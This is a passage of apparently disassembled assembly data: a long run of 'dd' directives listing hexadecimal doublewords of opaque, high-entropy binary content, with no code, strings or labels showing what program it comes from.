0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h dd 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh dd 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh dd 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h, 0F0FC8700h dd 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh, 1DEB1903h dd 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h, 0E7E0558Dh dd 0AF918696h, 0C32D321Dh dd 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh dd 1CC9043h, 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh dd 0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h dd 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h, 200107Dh dd 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h dd 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h dd 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch, 307A45h dd 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h dd 0D4E00FC7h, 6CA0F82Ah dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h dd 18B22C3h, 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh dd 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h, 10111C93h dd 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh dd 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh dd 7B81100h, 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h, 0F642AA80h dd 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h, 0EF540077h dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch, 68500762h dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h dd 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h, 3F71A108h dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h, 49980901h dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h, 2879AF8Bh dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h, 0F2EE0044h dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h dd 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h, 0F826112Fh dd 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h, 4D9880D7h dd 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h, 327736F2h dd 0E7B82000h, 875C48Fh dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h dd 91F6482Eh, 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh dd 714A0CAh, 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h dd 0FF64845Ah, 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h dd 1616851Fh, 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h dd 112FC53h, 1C2693F4h, 0F4E7AA85h, 73013B1Fh, 8819826Dh dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h dd 2BAEC051h, 3C0FDF0h, 689F300h, 4C418CAFh, 42670075h dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h, 4E581E6Ch dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh, 56290098h dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h, 0AC13B27h dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h, 0F7F0167Fh dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h dd 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah, 0B6A28304h dd 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch, 25FA453Bh dd 5CF00D74h, 